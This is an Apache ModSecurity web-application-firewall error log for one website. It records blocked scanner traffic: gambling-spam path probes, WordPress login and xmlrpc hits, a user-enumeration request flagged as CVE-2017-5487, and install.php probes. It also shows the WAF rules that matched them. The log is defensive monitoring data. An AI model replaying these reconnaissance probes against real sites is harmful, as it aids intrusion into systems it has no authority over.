[Mon Apr 27 21:16:21.565722 2026] [:error] [pid 13523:tid 13545] [client 217.182.195.179:59592] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ae9hpeeav51IXKv1ebH5UgAAAJQ"]
[Mon Apr 27 21:16:23.593936 2026] [:error] [pid 13465:tid 13512] [client 217.182.195.179:59598] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ae9hp_19I-6GBJQxn_iz5AAAAFE"]
[Mon Apr 27 21:16:25.619202 2026] [:error] [pid 31555:tid 31563] [client 217.182.195.179:53292] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ae9hqbJDZf3DNaSMAJ1FrgAAAAY"]
[Mon Apr 27 21:16:27.627653 2026] [:error] [pid 13554:tid 13574] [client 217.182.195.179:53300] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ae9hq3Jx87Dl-xMmL92HRwAAANI"]
[Mon Apr 27 21:16:29.649210 2026] [:error] [pid 31555:tid 31568] [client 217.182.195.179:53310] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ae9hrbJDZf3DNaSMAJ1FuAAAAAs"]
[Mon Apr 27 21:16:31.552834 2026] [:error] [pid 31555:tid 31576] [client 217.182.195.179:53320] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ae9hr7JDZf3DNaSMAJ1FvQAAABM"]
[Mon Apr 27 21:16:33.582154 2026] [:error] [pid 13554:tid 13578] [client 217.182.195.179:53334] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ae9hsXJx87Dl-xMmL92HSwAAANY"]
[Mon Apr 27 21:16:35.457805 2026] [:error] [pid 31555:tid 31559] [client 217.182.195.179:53348] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ae9hs7JDZf3DNaSMAJ1FyQAAAAI"]
[Mon Apr 27 21:16:37.487369 2026] [:error] [pid 31555:tid 31562] [client 217.182.195.179:44792] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ae9htbJDZf3DNaSMAJ1FywAAAAU"]
[Mon Apr 27 21:16:39.514407 2026] [:error] [pid 13465:tid 13501] [client 217.182.195.179:44796] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ae9ht_19I-6GBJQxn_iz7QAAAEY"]
[Mon Apr 27 21:16:41.548983 2026] [:error] [pid 13465:tid 13496] [client 217.182.195.179:44802] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ae9huf19I-6GBJQxn_iz7wAAAEE"]
[Mon Apr 27 21:16:43.429447 2026] [:error] [pid 13523:tid 13537] [client 217.182.195.179:44810] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ae9hu-eav51IXKv1ebH5awAAAIw"]
[Mon Apr 27 21:16:45.442640 2026] [:error] [pid 13464:tid 13482] [client 217.182.195.179:44816] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ae9hvWIEa0q6oQ95zvEmCgAAAc4"]
[Mon Apr 27 21:16:47.327298 2026] [:error] [pid 13554:tid 13579] [client 217.182.195.179:55746] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ae9hv3Jx87Dl-xMmL92HWwAAANc"]
[Mon Apr 27 21:16:49.324671 2026] [:error] [pid 13554:tid 13573] [client 217.182.195.179:55754] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ae9hwXJx87Dl-xMmL92HYAAAANE"]
[Mon Apr 27 21:16:51.357028 2026] [:error] [pid 13523:tid 13541] [client 217.182.195.179:55768] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ae9hw-eav51IXKv1ebH5dgAAAJA"]
[Mon Apr 27 21:16:53.390525 2026] [:error] [pid 13464:tid 13468] [client 217.182.195.179:55772] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ae9hxWIEa0q6oQ95zvEmFQAAAcA"]
[Mon Apr 27 21:17:28.593063 2026] [:error] [pid 13464:tid 13472] [client 217.182.195.179:55786] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ae9h6GIEa0q6oQ95zvEmTAAAAcQ"]
[Mon Apr 27 21:17:30.418215 2026] [:error] [pid 13465:tid 13512] [client 217.182.195.179:43612] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ae9h6v19I-6GBJQxn_i0MwAAAFE"]
[Mon Apr 27 21:17:32.466125 2026] [:error] [pid 13523:tid 13532] [client 217.182.195.179:43618] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ae9h7Oeav51IXKv1ebH5xwAAAIc"]
[Mon Apr 27 21:17:34.352980 2026] [:error] [pid 31555:tid 31567] [client 217.182.195.179:43622] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ae9h7rJDZf3DNaSMAJ1GdwAAAAo"]
[Mon Apr 27 21:17:36.391549 2026] [:error] [pid 13523:tid 13539] [client 217.182.195.179:36788] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ae9h8Oeav51IXKv1ebH5zAAAAI4"]
[Mon Apr 27 21:17:38.287320 2026] [:error] [pid 13554:tid 13565] [client 217.182.195.179:36792] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ae9h8nJx87Dl-xMmL92ILgAAAMk"]
[Mon Apr 27 21:17:40.165299 2026] [:error] [pid 13523:tid 13532] [client 217.182.195.179:36796] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ae9h9Oeav51IXKv1ebH50gAAAIc"]
[Mon Apr 27 21:17:42.056094 2026] [:error] [pid 13523:tid 13543] [client 217.182.195.179:36810] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ae9h9ueav51IXKv1ebH51AAAAJI"]
[Mon Apr 27 21:17:44.111102 2026] [:error] [pid 31555:tid 31581] [client 217.182.195.179:36822] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ae9h-LJDZf3DNaSMAJ1GkgAAABg"]
[Mon Apr 27 21:17:46.000193 2026] [:error] [pid 13465:tid 13509] [client 217.182.195.179:60346] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ae9h-f19I-6GBJQxn_i0PQAAAE4"]
[Mon Apr 27 21:17:47.873221 2026] [:error] [pid 13465:tid 13503] [client 217.182.195.179:60354] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ae9h-_19I-6GBJQxn_i0PwAAAEg"]
[Mon Apr 27 21:17:49.913912 2026] [:error] [pid 13523:tid 13529] [client 217.182.195.179:60360] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ae9h_eeav51IXKv1ebH52gAAAIQ"]
[Mon Apr 27 21:17:51.792122 2026] [:error] [pid 13554:tid 13574] [client 217.182.195.179:60376] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ae9h_3Jx87Dl-xMmL92IQgAAANI"]
[Mon Apr 27 21:17:53.840051 2026] [:error] [pid 13554:tid 13560] [client 217.182.195.179:60382] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ae9iAXJx87Dl-xMmL92IRwAAAMQ"]
[Mon Apr 27 21:17:55.734270 2026] [:error] [pid 31555:tid 31577] [client 217.182.195.179:53356] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ae9iA7JDZf3DNaSMAJ1GpwAAABQ"]
[Mon Apr 27 21:17:57.739198 2026] [:error] [pid 13465:tid 13496] [client 217.182.195.179:53358] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ae9iBf19I-6GBJQxn_i0RQAAAEE"]
[Mon Apr 27 21:17:59.597281 2026] [:error] [pid 13464:tid 13486] [client 217.182.195.179:53364] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ae9iB2IEa0q6oQ95zvEmXgAAAdI"]
[Mon Apr 27 21:18:01.621711 2026] [:error] [pid 31555:tid 31579] [client 217.182.195.179:53374] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ae9iCbJDZf3DNaSMAJ1GzwAAABY"]
[Mon Apr 27 21:18:03.633167 2026] [:error] [pid 13464:tid 13477] [client 217.182.195.179:53376] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ae9iC2IEa0q6oQ95zvEmZwAAAck"]
[Mon Apr 27 21:18:05.642960 2026] [:error] [pid 31555:tid 31562] [client 217.182.195.179:58218] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ae9iDbJDZf3DNaSMAJ1G1QAAAAU"]
[Mon Apr 27 21:18:07.662498 2026] [:error] [pid 31555:tid 31580] [client 217.182.195.179:58230] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ae9iD7JDZf3DNaSMAJ1G1wAAABc"]
[Mon Apr 27 21:18:09.667791 2026] [:error] [pid 13464:tid 13475] [client 217.182.195.179:58234] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ae9iEWIEa0q6oQ95zvEmbQAAAcc"]
[Mon Apr 27 21:18:11.522048 2026] [:error] [pid 13523:tid 13535] [client 217.182.195.179:58240] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ae9iE-eav51IXKv1ebH57gAAAIo"]
[Mon Apr 27 21:18:13.540331 2026] [:error] [pid 13523:tid 13537] [client 217.182.195.179:58256] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ae9iFeeav51IXKv1ebH58wAAAIw"]
[Mon Apr 27 21:18:15.546409 2026] [:error] [pid 13464:tid 13476] [client 217.182.195.179:58262] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ae9iF2IEa0q6oQ95zvEmcgAAAcg"]
[Mon Apr 27 21:18:17.566169 2026] [:error] [pid 13554:tid 13564] [client 217.182.195.179:49972] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ae9iGXJx87Dl-xMmL92IXAAAAMg"]
[Mon Apr 27 21:18:19.448944 2026] [:error] [pid 13554:tid 13568] [client 217.182.195.179:49988] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ae9iG3Jx87Dl-xMmL92IYQAAAMw"]
[Mon Apr 27 21:18:21.351707 2026] [:error] [pid 13554:tid 13566] [client 217.182.195.179:49996] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ae9iHXJx87Dl-xMmL92IZwAAAMo"]
[Mon Apr 27 21:18:23.262015 2026] [:error] [pid 13554:tid 13563] [client 217.182.195.179:50006] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ae9iH3Jx87Dl-xMmL92IawAAAMc"]
[Mon Apr 27 23:06:00.656876 2026] [:error] [pid 13464:tid 13474] [client 103.194.8.86:45142] [client 103.194.8.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.194.8.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae97WGIEa0q6oQ95zvE48gAAAcY"]
[Mon Apr 27 23:06:02.057947 2026] [:error] [pid 13464:tid 13468] [client 103.194.8.86:45128] [client 103.194.8.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ae97WmIEa0q6oQ95zvE49AAAAcA"]
[Mon Apr 27 23:06:05.119829 2026] [:error] [pid 31555:tid 31579] [client 103.194.8.86:45226] [client 103.194.8.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.194.8.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae97XbJDZf3DNaSMAJ16ggAAABY"]
[Mon Apr 27 23:15:21.625480 2026] [:error] [pid 31555:tid 31559] [client 203.2.64.59:57716] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae99ibJDZf3DNaSMAJ1_1wAAAAI"]
[Mon Apr 27 23:20:10.316978 2026] [:error] [pid 13465:tid 13503] [client 168.144.106.20:62770] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "ae9-qv19I-6GBJQxn_jPsAAAAEg"]
[Mon Apr 27 23:20:10.896587 2026] [:error] [pid 13465:tid 13510] [client 168.144.106.20:63147] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp/wp-admin/install.php"] [unique_id "ae9-qv19I-6GBJQxn_jPtAAAAE8"]
[Mon Apr 27 23:20:11.080535 2026] [:error] [pid 13554:tid 13567] [client 168.144.106.20:63271] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new/wp-admin/install.php"] [unique_id "ae9-q3Jx87Dl-xMmL9205AAAAMs"]
[Mon Apr 27 23:20:11.268481 2026] [:error] [pid 13464:tid 13483] [client 168.144.106.20:63359] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/old/wp-admin/install.php"] [unique_id "ae9-q2IEa0q6oQ95zvE7kAAAAc8"]
[Mon Apr 27 23:20:11.450982 2026] [:error] [pid 13554:tid 13568] [client 168.144.106.20:63404] [client 168.144.106.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wordpress/wp-admin/install.php"] [unique_id "ae9-q3Jx87Dl-xMmL9205gAAAMw"]
